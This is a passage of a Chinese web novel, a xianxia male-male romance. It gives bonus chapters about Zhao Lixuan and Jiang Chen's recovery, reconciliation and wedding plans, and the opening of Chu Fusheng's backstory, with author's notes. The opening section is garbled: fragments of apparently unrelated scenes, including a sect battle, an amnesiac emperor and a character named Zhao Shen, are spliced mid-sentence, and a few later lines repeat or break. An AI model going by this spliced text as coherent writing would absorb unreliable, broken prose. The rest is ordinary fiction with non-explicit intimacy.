赵离玄眸中一片血红,宛如地狱修罗恶鬼,直冲长老居所。 众长老随纷纷起身迎敌,无奈却因此前紫晶秘境苦战消耗过大,竟一时被他压制,口中“孽徒”“逆贼”的怒斥混着惊惶,仍是节节败退。 而赵离玄却似是已入魔疯狂,出手尽是杀招。 当手中九曜流光扇划出炎火杀阵时,数位长老的剑阵竟如薄冰般层层皲裂。药宗长老更被气浪掀翻在丹炉旁,白霜澄护父心切扑上前来,正迎上那已至咽喉的扇骨 千钧一发之际,一道清冽剑光如月华泻地,横亘而入。 静夜之中,濛濛细雨,姜沉的身影挡在前方。 “师兄。” 不见他还好。 一见,赵离玄眼里猩红更盛。 漫天雨珠凝滞成并晶,染血扇骨亦逼近姜沉颈侧:“狗姜沉!你既已醒了,为何不同他们说清楚事实真相?你总不至于不记得当时秘境里发生了什么?!” “我记得。” 姜沉忍了忍,声音压得只有两人能听见: “师兄,若我对他们说,一切都是我错你是否愿意就此停手、回头是岸?” 赵离玄扇缘一颤,顷刻在姜沉颈侧撕出一道血痕。 “回头是岸?”赵离玄又等了两天。 两天也不曾闲着。批了很多奏章、看了很多史书。还零零星星的,记起了些往昔的片段。 他发现自己渐渐能记得很小时候的一些事了。 也依稀想起了父皇、母后的脸。 毕竟那样根本就不合理! 如果他以前真那么厉害,都有本事随随便便“给姜沉一个痛快”了,试问这么有本事的皇帝又怎么会轻易给权臣可趁之机,跑去边疆劳军送人头,最后落得失忆一身伤还被幽禁? 胸口一凉,他低下头。 竟是赵离玄用尽最后力气,将打散的扇骨狠狠刺了进来! 姜沉看着没入身体的残刃,再抬眼时,正对上赵离玄仅剩的右眼那里再不见往日半分明亮神采,只剩下被血雨浸透的、彻骨的冰冷厌恨。 雨水渐渐模糊了视线。 书中写那人“一身青衣,温和正直”,将幼时的姜沉从恶人手中救出养在身边,师徒相依感情颇深。却在十年前下落不明,从此遍寻不到,成了姜沉一块难解的心结。 赵深之前也问过母神,说你写着写着把郁沉影写哪儿去了?得到的答复只是“他被人害了呗”,结果,直到《天衍纪》结局都没有任何笔墨交代。 “其实,我觉得郁前辈他说不定还活在这世上的。” 虽说灵位都摆在这儿了,但这毕竟是大母神的世界。 死人只要没烧没埋没挫骨扬灰,都还有机会吐便当,何况这种死不见尸的?说不定,人家是掉下个山崖刚好捡到了武功秘籍,此刻正在崖下修练神功,准备从此逆袭走上主角的道路?! “执剑长老也觉得我师父他没死?” 赵深一愣。 他不曾想到,姜沉原本满是寒霜冷厉的脸,会在听到他刚才那句话后整个儿都柔和了下来,就连僵直的背脊,也有了一些垂然放松的迹象。 自打“飞龙探云手”后就一直不肯正眼看他的一双修目,如今也又看他了。 赵深吞了吞口水。 “嗯!嗯嗯嗯~没死,肯定没死!郁前辈洪福齐天,哪有那么容易就死了的?不说别的,你听那名字也不可能随随便便就挂了的啊!郁沉影静影沉璧,你看多好听!多有主角感啊!一看就是作者认真起的,别说名字了,就但看姓也绝对不是一般人啊,你就放一千一万个心吧!” 说到后来,都已经开始进入口若悬河、舌绽莲花的满嘴跑火车模式。 但这也怪不了赵深,实在是姜沉此刻的在烛火微光下的殷殷双目让他太过心动。 那么俊朗冷厉的一个人,却露出像是在做梦一般的表情,带着一丝隐隐的沧桑脆弱,似乎无比期待着赵深能再多说几句他想听的话,哪怕是骗他的也好。 真的骗他的也好。《 》 【番外合集】 第 53 章:小蝴蝶十分难哄(甜甜番外)。 小蝴蝶十分难哄。 明明一切雨过天晴,他却常常还浸在暗夜寒雨里,怔怔回不过神。 比如此刻榻上,明明被赵离玄紧紧搂在怀中了,温热的体温透过薄衫传递过来,他却仍旧时不时肩背微颤。赵离玄察觉了,掌心一下下抚过他嶙峋的脊背:“怎么了?” 姜沉不答,只把脸更深地埋进他颈窝。 赵离玄等了片刻,指尖轻轻点了点他的后颈,带着点不容敷衍的力道:“姜沉,你先前是怎么答应我的?说话。” 怀里人仍旧静着。 久到赵离玄几乎以为他已睡着,才听见一声极低、极涩的闷声:“这……当真不是梦么?” “我总觉得……自己像在做梦。” 赵离玄默默将他揽得更紧了些。 指尖无意识地捻着他一缕微凉的墨丝,恍惚心想,若非得了神息重塑仙身,这只破掉的小蝴蝶怕是真要不得安息,说不定就化作一缕执念深重、徘徊不散的幽魂厉鬼,死死不肯入轮回。 明明这些天,他已给他解释了许多次。 那一缕神息如何温养他魂魄与身躯,一寸寸重塑他的仙骨,他还能活很久、很久。 可他还是不安。 赵离玄只得搜肠刮肚,寻些更实在的点子来安抚他。 “小姜,其实我这一年……我翻了不少典籍,也问过许多前辈。” “我们仙族到了一定年岁,要么如我爹娘一般勘破飞升,去往更高境界。要么便如同凡人一般寿元尽了,于此界消散。” “但即便消散,也不过如凡人一般再入轮回。忘尽前尘,从头来过罢了。” “所以,别怕。” 他低下头,唇几乎贴上姜沉的耳廓,一字一句清晰而郑重: “我答应你,无论发生什么,我都会去找你。若你魂魄消散,我便执聚魂灯片片收回。若你转世不记前尘,我便到你身边,再次与你相识。” “小姜,我不会再放开你的手。” 怀中人又僵了许久,才终于低哑出声:“可你身边,明明有那么多更好的人……” 赵离玄无法了。 他抬手,不轻不重地在姜沉后颈处拍了两下。 啪叽,啪叽。 打小菜青虫上瘾。 于是赵离玄干脆把人结结实实地教训了一顿,揉老实了,又开始翻起旧账来。 他实在有太多旧账可以翻。 比如有人一声不吭瞒了他多少事,比如为什么身体不适却总硬撑着不吭声,为什么有委屈仍宁可把自己憋出毛病也不说。 他越说越上火,指尖戳着姜沉心口:“就你这性子,若是不改,跟谁一块能过好?” 是,这世上是很多好人。 但谁让缘分这东西强求不来。有人千般好万般好,偏偏就是不喜欢。有时候人执拗可怜又可恨……却怎么都放不下。 “也就是我,多半上辈子欠了你的。” 姜沉无地自容、埋头在他胸口闷闷求饶:“……别说了。” 赵离玄见好就收。 却也知道从此不能让这只蝴蝶闲着。一闲,便会胡思乱想。 于是赵离玄开始提很多要求:“我要吃蟹黄锅盔。要馅料足、刚出锅的,煎得金黄酥脆掉渣。还要吃其他你擅长做的点心。” “你之前说过给我做的。” 姜沉原本厨艺了得,这次却难得有些笨手笨脚,眼尾还被烟熏出浅浅的绯红,瞧着像是哭过一样。 他做得忙忙碌碌,揉面、调馅、控火、摆盘,专注而虔诚。 不仅赵离玄点名要的椒盐酥饼、蟹黄锅盔被齐齐整整端上,他还额外多做了一碟葱烧嫩鹿脯,一碟清炒时蔬,并一盅熬得汤汁奶白、香气四溢的笋蕈山鸡汤。 小小的石桌被摆得琳琅满目,荤素得宜,香气混着暖融融的烟火气,丝丝缕缕蒸腾起来,将秋日微凉的空气都染上了温度。 赵离玄很是捧场,全程吃得狼吞虎咽、脸颊塞得鼓鼓的。 他能看出姜沉是欢喜的,虽然表情一如既往的不多。 只安静地坐在对面,目光却像被黏住了似的,每当他大口吞咽,或是毫不吝啬地夸赞一句“好吃”,姜沉抿着的唇角便会极轻微地向上牵动一下,随即又迅速垂下眼眸。 只是那悄然漫上耳廓的薄红,却彻底泄露了他心底那份笨拙的雀跃。 …… 重新在熟悉的小院,面对失而复得的故人,日子本该行云流水,两人之间却莫名萦绕着一丝生涩。 似乎都在努力重新适应这满是凡俗烟火的旧生活。 重塑肉身并非一蹴而就。 即便有沈枫延留下的那一缕神息滋养,仙体与灵脉的恢复也需时日。姜沉每日还少不了要几碗苦药汤子。按鱼长辛前辈的嘱咐,总结下来便是—— “形同老弱病残,气血两亏,灵脉虚浮。至少需静养一年。” “忌劳神,忌动武,忌大喜大悲。” 于是,静养的日子便这样铺陈开来。 两人每日睡到日上三竿。 赵离玄醒来第一要事,便是盯着姜沉将几碗黑黢黢的汤药一滴不剩地饮尽。 因着医嘱,练剑是奢望,运转灵力更是禁忌,日子清闲得发慌长毛。 两人日常最大的消遣,便是在洒满阳光的院子里,为那些花草松松土、浇浇水,或是并肩踏着青石板路,去附近的西市慢悠悠晃上一圈。 洛州城郊便是燎原庭的地界。 从街市尽头望去,总能看见那片被姜沉种满了金银草的山坡,在日光下泛起一片金碧辉煌。 燎原庭的同僚们也常会“顺路”下来探望。 楚仙君和碧桃仙子来得最勤,常拎来些鲜果野味。小院的午后便时常飘起烧烤的烟火气,夹杂着轻松谈笑。 偶尔家里缺了些什么,赵离玄都会去市集采买。 但有些用惯了的旧物,比如姜沉惯用的那方玄色沉水砚,或是赵离玄多年前留在人间界没带走,已被摩得温润的青玉螭纹镇纸—— 这些便需他去一趟燎原庭,到姜沉的寝宫里取了。 与楚浮生那处处彰显贵气、珠玉琳琅的殿宇截然不同,姜沉的寝宫空旷得近乎冷清。一床一榻,一桌一椅,简朴至极,实在不像个有人长久居住、富有生趣的地方。 然而丝瓜小院就不一样了。 这里正一日日、一寸寸,被无声而蓬勃的生机填满。 最近越发越日日更多填满了生机。多宝阁上,摆着憨态可掬的鎏金错彩陶土小兽,天青冰裂纹梅瓶插着几支新折的桂枝,釉色在光下流转如凝。 还有几枚纹路奇特、绚丽璀璨的黑光磷火奇石,静静卧在锦垫上,宛如将一片微缩的星河夜空摘回了家。 这些日子姜沉虽被勒令静养,去不得远处,但附近的西市却是常逛的。 赵离玄越发觉察,家中的“小东西”正在缓慢如雨后春笋般地增加。 不止是多宝阁越来越满,就连窗边,也不知何时悬起一串红珠与碧玺间隔穿成的帘坠。门楣上,亦添了羊脂白玉镂雕缠枝莲纹的禁步。 窗台都多了小金铃。微风过处,声音清碎。 连茶盘边都多了几个胖乎乎、紫砂描金的小兔子、小猫茶宠,形态各异,十分拙趣。 前几日,趁着姜沉吃了药昏沉迷糊,赵离玄将他搂在怀里偷偷问他:“那些,都是买给我的吗?” “嗯……” 被药弄烘得浑身松软、意识朦胧的人格外诚实,含糊地应着,下意识往他肩头蹭了蹭:“我觉得,你会喜欢。” 赵离玄的心一片温软。 一个本来无什么情趣的人,却在那些独自等待的、漫长得看不到头的岁月里,一点一滴,笨拙而固执地,学会了揣摩他的喜好,悄悄妆点着这个他始终坚信会再度成为“家”的地方。 赵离玄往燎原庭取旧物,去了几趟。 有一回,正遇上庭中专司诊治的医官。 那医官是个细致人,领他至药房偏室。药房靠墙立着一只高大的檀木药柜,格屉上贴着细签,里面整整齐齐码放的,全是燎原庭这些年来所有的诊籍脉案与药方存底。 其中只姜沉一个人,就占了整整一个柜子。 “姜仙君的身子骨……唉,实在亏空得很,又最隐忍、喜欢硬熬。” 赵离玄一页页翻看过去。泛黄的纸页记录着二十年不断的低热、胃痛、夜不能寐、旧伤反复……字字如针,扎在他心口最软处。 他失魂落魄回到家,心疼得很,沉甸甸的透不过气。 推开虚掩的院门,就看到本该被安神汤药催着沉睡的姜沉竟已醒了。怀里紧紧搂着那只丑兮兮的布鹅,正有些茫然地、轻轻推开一扇扇空房门扉,默默寻他。 午后斜阳将他孤清的影子拉得细长,透着一股无依的、被遗弃般的失落。 那背影透着一股被遗弃般的失落。 好在他很快听见了脚步声,蓦然回头。 目光相接的刹那,他眼底那点空茫骤然被点亮。却又硬生生克制住了扑过来的冲动,只不急不慢地走到面前,然后伸出手臂,将赵离玄整个儿严严实实地圈进怀里。 “你回来了,”他将脸埋在赵离玄肩头,努力维持着平静,“我给你做了冰糖梨汁。” “……” 笨蛋小姜。 …… 梨汁炖得清润。 冰糖的甜恰到好处地中和了秋梨的微涩,温温热热地滑入喉间,一路熨帖到心肺。 可惜赵离玄才喝了小半碗,身后便多了份温暖的重量。 姜沉蹭了过来,手臂环过他的脖颈,从后面紧紧拢住他。这阵子他格外贪恋拥抱,好像只有肌肤相亲的实感,紧贴的体温、紧拥的力道,才能一次次向他确认—— 他渴望的一切,真的就在这方寸之间、触手可及。 赵离玄对他的心绪了然,自然也知任何宽慰的说辞都显苍白,唯有切实的拥抱与陪伴,方能稍稍安抚那深入骨髓的不安。 他在姜沉微凉的颈侧轻轻蹭了蹭,落下一个羽毛般的亲吻。 能清晰地感觉到,姜沉的喉结滚动了一下,环抱着他的手臂也随之收紧。赵离玄垂眸,便顺着那线条清晰的下颌一路细细地吻上去,亲过绷紧的脸颊,掠过微抿的唇角,流连不去。 恍惚间,明明年少时,他也吻过他无数次。 却好像此刻,才是他们的第一次真正亲吻一般。 怎么会有这种感觉呢…… 猛然想起姜沉曾幽怨指责他当年“太快了”。那时他不以为意,如今却突然醍醐灌顶,或许小姜是对的? 真的。 年少时的他,是太过……满腔炽热,莽撞又急切了。 好像也确实满脑子都是更近一步。 以至于亲吻不过是通往更亲密前菜,目的明确,攻城略地。他好像……从未曾像此刻这般耐心地、纯洁地,耐心又珍惜地好好吻过他。 怪不得姜沉会有怨言。 原来他当年错过的,是这样缠绵而虔诚的滋味…… 赵离玄这次是认真了,极尽温柔地将姜沉的脸颊、耳廓、眼睫都温柔地吻了个遍,才终于辗转回到那薄唇上,咬住,吻得细致又绵长。 他自己也在这漫长而温柔的亲吻中逐渐迷失,头晕目眩间,模糊地想:小姜当年暗暗期盼的……就是这样被珍重对待的感觉吗? 确实,这与火急火燎、直奔主题的亲密,滋味截然不同。 是一种缓慢的、浸润灵魂的确认与安抚。 而他也觉得新奇。 沉溺其中。 呼吸不由自主地加重,纠缠的唇齿间逸出模糊的叹息。赵离玄稍稍退开些许,抵着姜沉的额头,声音哑得厉害:“姜甜甜……” 他忍不住这么叫。 怀里的身体僵硬了。 不意外,二十年前姜沉亦不喜欢他这样乱叫。 那时,他容忍的底线是“小姜”,若是叫了“小甜姜”和“姜甜甜”,这一定会浑身僵硬,抿紧嘴唇,恼羞地将赖在身上的他拎开。 “不喜欢啊?”他很虚心地求教,“那你说,我叫你什么好?” 姜沉不说话,又开始憋。 赵离玄有时候觉得这人真是学不乖,这这副死撑的样子又很可爱。心里酸软,忍不住亲了亲他的鼻尖,干脆逗弄到底。 “就叫,就叫。” “小甜姜,甜甜,小蝴蝶。” “小菜……” 嘴被温热的掌心捂住了。 赵离玄:“……”好吧,果然小菜青虫还是太过分了。 姜沉声音闷在他掌心后,带着沙哑的恼意:“不许叫。” 赵离玄:“好的。” 他以为姜沉是真的不喜欢,直到他摸到他完全滚烫的耳背。 以前……好像也是这样。 每一次他凑近了胡闹,姜沉身上总是烫得惊人,然后冷着脸躲开。 有一瞬间赵离玄整个脑袋都发懵,迟来了二十年的认真——他会不会……从来就不是不喜欢?会不会真的,他其实是喜欢的。 他只是害羞,然而那时的他又不懂那是害羞,就恼怒和羞愤了。 “……” “甜甜。” 赵离玄低头亲他,唇贴着唇,气息交融间又叫他。 “……” “嗯?” 果然怀里人这次没再抗拒,他的动作永远比言语诚实。 因为贴得极近,胸膛紧抵,赵离玄能清晰地感觉到姜沉的心跳,又快又重,狠狠撞击着他的胸腔。 剧烈的悸动甚至透过骨肉传来,与他的心跳逐渐混成一片。 他心口发热,忍不住又凑上去,含住那微凉的下唇轻轻。 黏黏糊糊的亲吻间,他含混地说了许多胡话,爱语、誓言,尽数融化在彼此的呼吸里。 这种绵长、细腻的亲吻,似乎才能真正给予姜沉巨大的满足与安定。 而当他被这种温柔的安全感彻底安抚之后,那具总是紧绷的身体终于逐渐放松,然后缓缓地,燃起另一种截然不同的心意。 倒不是说姜沉以前跟他在一起时就不愿意。 只是那时的亲密,更像是一种被直接点燃的、纯粹的东西。而此刻…… 赵离玄再度惊觉。 好像,是他的错。 是他在一起那么久,却全然不懂这只蝴蝶的属性。 他之前从未见过这样的姜沉—— 在绵密的亲吻与爱语中逐渐意识混沌,眼尾染上湿红,眸子里氤氲着欲念与晦涩难懂的光。 喘息变得急促,体温攀升,隔著衣料也能感受到血脉的悸动。 像是被某种甜蜜的煎熬缓慢浸透,从心尖一路灼烧至四肢百骸。 他难耐地仰起脖颈,喉结滚动。 肌肤相贴处一片滚烫。 不再有青涩笨拙的抗拒,他开始无意识地朝他贴近,甚至从喉间溢出模糊的声音。 原来,他是需要先被爱意细细滋润、妥帖安抚,灵魂感到餍足与安全之后,才会自然而然地,向他开启更深层、更复杂、更深入骨髓的沉溺与渴求。 ———————— (我求求你了审核,我那一段是接吻,接吻啊!没有意识流开车啊。) 确实二五仔是楚仙君呢不少人猜对了。他的番外之后会放免费的福利番外hhh 真的很好笑,小姜其实是那种需要足够前戏的类型,是的攻也可能需要这个。[狗头] 但之前一直被离玄突然扑倒,就是开心迷惑怀疑不解,自己给自己干崩溃了。但现在离玄学会前戏了,他就能接受良好了。 离玄:啊?这么说多年前的失败只是因为前戏不够??? 确实是你也有错。 第 54 章:结婚前夜。(酸甜番外) 一起在小院住了一段时间后,姜沉半夜偶尔还是会惊醒。 尤其在某个冬夜黑沉沉的拂晓,万籁俱寂。他在一片混沌的暖意中醒来,意识回笼的瞬间,便习惯性地收紧手臂,想将身侧之人更深地拥入怀中。 然而,掌心触及的并非温热紧实的肌肤,只有粗糙柔软的棉布。 他发现他怀中抱着的,是那只丑丑的、针脚歪斜的布鹅。身畔床榻则空空荡荡,冰凉一片。 那一瞬间,熟悉的、冰冷的恐慌再度骤然攫紧心脏。 即便已有无数个清晨从他身边醒来,可哪怕只有一次不在。深入骨髓的“失去”的阴影依旧能在刹那间卷土重来,让脊背瞬间沁出一层细密的冷汗,连呼吸都滞涩。 好在片刻后,房门“吱呀”一声轻响。 “咦?你醒了啊?” 赵离玄的推门进来,身上还裹挟着室外清冽的寒气,嘴里含叼着一小块桂花咸糕,活像只撒欢归来的小狗。 “正好!” 他几步凑到床边,将手里提着的油纸包塞进姜沉怀里,纸包温热,散发着甜暖的香气,“你最喜欢的,加足了蜂蜜和蜜枣的糕!今早第一锅出炉的,还烫手呢!” “……” 姜沉怔怔地接过那包糕。 很少有人知晓,或者说,他从未让任何人知晓——从很多年前开始,伴随着无休止的失眠、疼痛和焦躁,他对食物的欲望也早已丧失殆尽。 即便是曾经爱吃的,入口也味同嚼蜡。甚至有好几次,是在酩酊大醉后又被胃部冰冷尖锐的疼弄醒,他才能恍惚想起,自己已是一两个月不曾正经进食。 不过,反正仙人不饮不食也不会死。他这样想着,便也任由自己荒芜下去。 后来在浮熙宫重逢,赵离玄出于礼貌,为他准备了各式仙界闻名的精致糕点。他全部安静地吃了,却旧尝不出任何滋味。 此刻,他垂下眼,轻轻掰下一小块手中金灿灿、点缀着蜜枣与桂花的糕。 糕体松软,热气裹挟着浓郁的甜香扑面而来。他小心地咬了一口。 甜的。 蜂蜜的清甜与桂花馥郁的香气在舌尖蓦然炸开,蜜枣煮得软糯,甜意丝丝入扣。米糕的温润绵软包裹着齿颊,那是一种……清晰、生动、鲜活的味道。 姜沉微微发怔。 他有多少年,没有如此真切地“尝”到过味道了? 正想着,赵离玄又变戏法似的从身后捧出一只粗陶小盅,揭开盖子,浓郁的芝麻香气混着奶香蒸腾而起:“还有这个,街尾那家芝麻糊炖奶。如今已是当年阿婆的孙媳妇在经营了,但还是从前的味道。” 瓷勺舀起一勺浓稠醇厚的糊,送入口中。 芝麻炒香后磨碎的颗粒感,与炖得滑嫩的奶冻交融,温热的甜润顺着喉咙滑下,一直暖到容易冰冷的的胃里。 “甜……”他低声道,“好吃。” “嗯,”赵离玄眼中笑意温暖,伸手揉了揉他睡得有些凌乱的墨发,“那多吃点。” …… 赵离玄自然发觉了,姜沉常会睡不着。 有时是醒来后,在身边长久地、失神地望着他;有时则会像在妖明界那无数个不眠的夜晚一样,悄然起身,独自去院中廊下静坐,对着沉沉的夜色出神。 赵离玄最初想着,小姜身体没好,神魂亦需修复。 赵离玄不急,可以慢慢等他。 可时光潺潺流过,转眼两人在人间界竟已近一年。 旧伤养得七七八八,还一起携手游了许多地方:看过乌城元宵时漫天漂浮如星河的水灯,踏过东泽春日里一望无际的碧色草原,也在西域大漠的落日余晖中并肩看长河孤烟。 人间烟火,山河岁月,不曾片刻错过。 只是很快,一年之期终究到了。三界分离的法则日渐稳固,仙族需回归不染仙境,魔族退守魔域,人间界将再无仙魔踪迹,渐成独立一界。 此番人间之行,实是趁着两界尚未完全远离,最后偷得的一段浮生闲梦。 最后,两个人也恋恋不舍离开人间界,回到了不染仙境。 因想着兄长赵岚泽的仙躯已在鱼祭司处温养得宜,不久或将回到梨花水榭。赵离玄便搬了出来,随姜沉住进了枫藤小筑。 结果万没想到,住进灵气充沛、祥云缭绕的地方,姜沉的失眠症反而卷土重来。 那夜的月华极盛,是一轮圆满到近乎圆满的银盘,清辉泼洒而下,将院落照得一片澄明通透。火红的枫藤亦在月光下失去了白日灼目的艳色,转为一种沉静的、墨染般的深红。 赵离玄从浅眠中醒来,身侧已空。他起身,披衣走入庭院。 姜沉就坐在一株最茂盛的古枫下,背对着廊屋。 月光透过摇曳的枝叶,在他脊背上投下无数晃动的光影。 赵离玄静静看了他片刻。 好消息是,养了近一年,这人身上总算有了些分量,抱在怀里不再硌手,脸颊也依稀恢复旧日俊朗的轮廓。 不那么好的消息是,他虽比从前肯多说些话,偶尔也能直白地表露些许依恋和不安,却还是不够。 他拿了件外袍走过去,轻轻披在姜沉肩上:“又做噩梦了?” 怀中的人倏然一僵,轻轻“嗯”了一声,像抓住浮木般环住赵离玄的腰,将脸深深埋进他温暖的腰腹间,声音闷闷的,“把你吵醒了。” “没有吵醒。”赵离玄顺势在他身边坐下,温柔抚了抚他的后颈,,“以后再做噩梦,可以叫醒我。” “我同你不一样,我就算醒了,也很容易再睡着。你梦见了什么妖魔鬼怪,都可以叫醒我、告诉我。” 夜露沁凉,他的指尖也带着微微的寒意。 然而朦胧的月色里望向姜沉的眼睛,却盛着月光:“小姜,之前我们在人间界。” “人间界是你的地盘。你半夜一个人躲出去,我还能说服自己,你是需要时间恢复。” “可如今,你跟我来了我的家。” 他一点点跟他解释:“你若在这里,还是时常不安、不幸福,那就真真切切,全是我的错了。” “难道你要让我当个不合格的仙侣吗?” 他微微倾身,笑了笑:“那岂不成了,是我要你远离故土,随我‘嫁’入这全然陌生的仙庭。又不能给你十足的爱护与安心,让你终日彷徨难眠……” “这若说出去,黎玄仙君岂不成了骗子仙君?” 月光流淌,枫叶轻响。 “不是的,没有……” 姜沉慌了忙摇头:“你待我很好,你很好……我也过得很好。” 很好,很幸福,千真万确。 无论是丝瓜小院里的晨昏,还是后来携手各地游览,每一天都美好得如同幻梦。 “我只是怕,”他声音低下去,有些难以启齿,“怕我还总这般惶惑不安、身在福中不知福,会惹你厌烦……” 所以才总在惊醒后独自躲开,等心跳平复,冷汗退去,将那副惊弓之鸟的模样藏好,再悄然回到他温暖的身边。 月色如练,柔和镀在赵离玄的眉眼间。 将他眼中那份无奈,以及浅浅疼惜映照得愈发清晰。他似有许多话欲说,最终却只是化作一声包容的轻叹。 他站起身,顺势将怔然的姜沉也拉起来,掌心温热,绽开一个笑容:“走吧,我们回去。” “既然睡不着,正好,”他拖着他,“我们一起回屋,商议真正重要之事。” 姜沉脚步微顿。 赵离玄回望,一字一句:“商议我们的婚仪。” “……” “怎么,不是你心心念念的十里红妆、宾客满堂、佳酿盈樽?我不是也曾许诺过一定给你?” “如今反正也回了不染仙境,早些办了吧。” “明日就昭告天下。” “这样,重新结了道侣仙契,所有人也都知晓我们从此休戚与共、共享仙元。你也再也不用怕我跑掉,天天如临大敌、瞎吃飞醋了。” “……” 姜沉望着他。 人生再一次,感觉被不可思议的温柔包围。 自从他重新接纳自己……身体深处,那些每逢夜深便悄然翻涌、冰冷刺骨的旧伤,就在一次次被这目光与话语一点点焐热、融化、抚平。 躯壳始终都能感受持续的暖意,所有龟裂都被温柔地弥合,剩下一种近乎奢侈的平和与踏实。 于是亦是第一次,那份一直以来埋藏最深、最难以释怀的隐隐恐惧和尖锐痛苦,借着这前所未有的安全感,第一次挣脱了枷锁,鼓足勇气伸出触角。 “离玄。” “嗯?” “你是不是……真的,曾经……” 曾经真的,不再爱他了。 在那分开的二十年里,在一次次音讯全无、不曾踏足人间界的漫长岁月里。姜沉咬住下唇,尝到铁锈般的腥甜。 其实他知道答案的,他怎么会不知道? 倘若一个人二十年避而不见,倘若一个人遗忘他所有喜好,倘若一个人的靠近不再伴有失控的心跳,倘若一个人曾用那样疲惫而厌烦的语气,让他“别再出现”…… 他知道的。 此刻追问,并非为了验证一个早已心知肚明的答案。 他只是。 “我……不能忍受。” 他声音发颤,至今不能忍受,你不爱我了。 “哪怕都是我的错,哪怕已经隔了二十年,哪怕一切背后没有任何阴谋算计……我也始终贪婪地觉得……就算是我不回信,就算那样对你,你也该一生一世喜欢我。” 他抬起眼,眸中水光破碎,却执拗又偏执:“可你不喜欢了,所以我就气死,就比恨谁都恨你……你看,我就是这么自私,就是这么无可救药。” 赵离玄愣住了。 他下意识靠近,伸手去碰触。 姜沉却像是被烫到般,猛地后退了半步: “都已经不喜欢了……我如今……也并不比当年好。你也不过是……被我要死要活地缠得没办法了。你这种人总是为别人着想,跟谁结契都会对那个人很好……” 他说到后面,已经哽咽了。 “小姜。” “你别说,我不想听。”有人闷声道。 庭院中一片死寂,唯有风过枫叶的沙沙声。 “姜沉,我确实有过……真的不再喜欢你的时候。” 姜沉咬紧牙关。 这句话实际听到,比想象中刺耳扎心多了。他不敢置信地睁大眼睛、摇摇欲坠地看着赵离玄。 “你承认了……你看,你承认了!” 早就知道的事,他却又开始发疯。 自己也不知道自己委屈什么,或许是多少还抱有一丝侥幸。他确实无可救药,亦溃不成军,转身就想走。可脚步刚动,就被赵离玄从身后紧紧抱住。 “你看,这不是挺好的吗,””赵离玄的声音贴在他耳后响起,“小姜,你这不是……终于把心里话说出来了一点吗?” “……” “其实,你若生气,或者委屈,大可以跟我吵架的。” 赵离玄将他转过来,双手捧住他冰凉的脸颊,强迫他看着自己的眼睛。 “可以指着我的鼻子骂我,质问我‘才区区二十年而已啊,怎么能说变心就变心’。可以理直气壮地坚持就是你对我错,不必忍着、憋着。你知道我脾气算好,不太记仇,最多不过是对骂一场。” 他的拇指轻轻擦过姜沉湿漉漉的眼角。 “能和好的。” “你看这世间,哪一对真心相守的仙侣,又是从不红脸、从不争执的呢?” “小姜,我也早就想说,你并不必成日如履薄冰,害怕一点点矛盾争执我就会转身离去。你反而该想——我们分开了整整二十年,兜兜转转,依旧重新在一起。我曾经……确确实实不再喜欢你了,可后来,不还是重新喜欢上?” “这说不定才是‘命中注定’。” “……” “小姜,其实你什么都知道的。” 姜沉很敏感。 既知道他不爱他时的疏离,自然也该洞若观火,他爱意复燃时的炙热。 是的,姜沉知道。 也应该一直都知道,这份爱意无关于同情怜悯。不过是太久的等待,耗尽了勇气的信心,让他一时不敢再轻易相信还能被坚定地选择与对待。 赵离玄收紧手臂,将他更深地拥入怀中,细密的亲吻落在他颤抖的眼睑、湿漉的脸颊,最后珍重地印上那抿紧的唇。 “哎呀……” 就在情意渐浓、亲得难舍难分之际,赵离玄脚下一轻,整个人被打横抱了起来。 又来了。 他眼底泛起一丝纵容与无奈。 江山易改本性难移。姜仙君还是一如既往地死要面子,被逼着说了一点真心话,便要恼羞成怒。 而他近来恼羞后最惯用的做法,便是这般将他抱起来,不由分说地,扔到那柔软的床榻上。然后用后续行为拼命找回场子。 哎。 ———————— 小蝴蝶多多少少,还是有一点神经在身上的。 这篇因为是主写感情流,剧情写多怕会切断感情的连贯性,就没有特别展开。 至于各方势力究竟在干什么,会在免费的福利番外补!其实楚浮生视角看,一切特别清楚明白。主角视角就是看不透的,很多他们不知道的剧情。 哥哥是可以HE的。[猫头] 包养鸣谢: 雪乱梵天扔了1个地雷 大道得从心死后扔了1个地雷 Schütze扔了1个地雷 小叮当扔了1个地雷 72998254扔了1个地雷 大道得从心死后扔了1个地雷 第 55 章:福利番外·楚浮生(上) 楚浮生是人与妖的混血。 他娘亲楚絮,是黄皮族中百年难遇的美人,姿容绝世,灵慧天成。 而他爹,则是娘亲某次出门游历时,惊鸿一瞥便一见倾心的凡间书生。 来妖族与书生的故事,按说一般都没好下场。然而他爹这位书生是个正经读书人,不仅生得清雅绝伦,更难得的是满腹经纶,胸有丘壑,又心怀天下、纯良正直。 所以他也并未像寻常故事一般,对妖族女子始乱终弃,而是明媒正娶地成了婚。 婚后,夫妻二人情意甚笃,鹣鲽情深。楚絮也便暂离了族地,随书生定居于繁华的京城。后来有了楚浮生,又因书生政绩斐然,升任洛州太守,一家便又举家迁往了那座灵秀的江南州府。 娘亲看上的虽一开始是爹爹的美貌,但朝夕相处后,更爱的则是他爹爹那份清流文官为天地立心、为生民立命的书生意气。 于是更爱了。 …… 甜蜜的婚姻让楚浮生生来资质极好。 天生继承了娘亲一族的金发碧眼,肤白如雪,又兼顾了爹爹的俊朗,从小美得近乎妖异。 即便被娘亲用法术暂时将发色瞳色染黑,看着都不太像一般人族孩子。 家里无法,几经权衡,只得送他去仙妖混杂的仙塾萧雪楼修习。 楚浮生就这么在萧雪楼里,学会了妖族的幻化之术、仙族的御气法门,以及仙妖各族之间错综复杂的规矩与人情世故。而回到洛州太守府,爹爹又会持卷为他讲解人间的诗书礼易、兵法谋略、为官牧民之道。 日复一日,年复一年。 每天截然不同的知识,在他年少的识海里交汇、碰撞。 久而久之,楚浮生心中渐生出一种明晰而复杂的感受: 仙族与妖族,固然天生强大,或腾云驾雾,或诡谲多变,各自成体系,且又有长生。但两族往往囿于血脉传承,行事也多凭力量本能,十分的不成秩序。 而人族,虽肉体凡胎,寿数短暂,在仙妖眼中宛若蜉蝣。却在千万年传承中,有精妙的诗词歌赋陶冶性灵,有严谨的礼法制度维系秩序,有深奥的兵法战略权衡天下,更有仁义礼智信熔铸的规矩。 虽然人族内部同样有纷争撕裂、污浊不堪,但那种在混沌中艰难建立的极其厚重的东西,是他在仙妖世界中未曾深切感受到的。 于是,楚浮生十八岁成人礼后,他毅然做出了关乎自我身份的根本抉择。 毅然做出了自己的决定。 他确实是半妖之身,但心魂所向,却是人族。 因而他的自我认同不是妖。 他是人,人族的楚浮生。 …… 两年后,妖仙争端在人间界争端愈演愈烈,战火纷争四方不断。 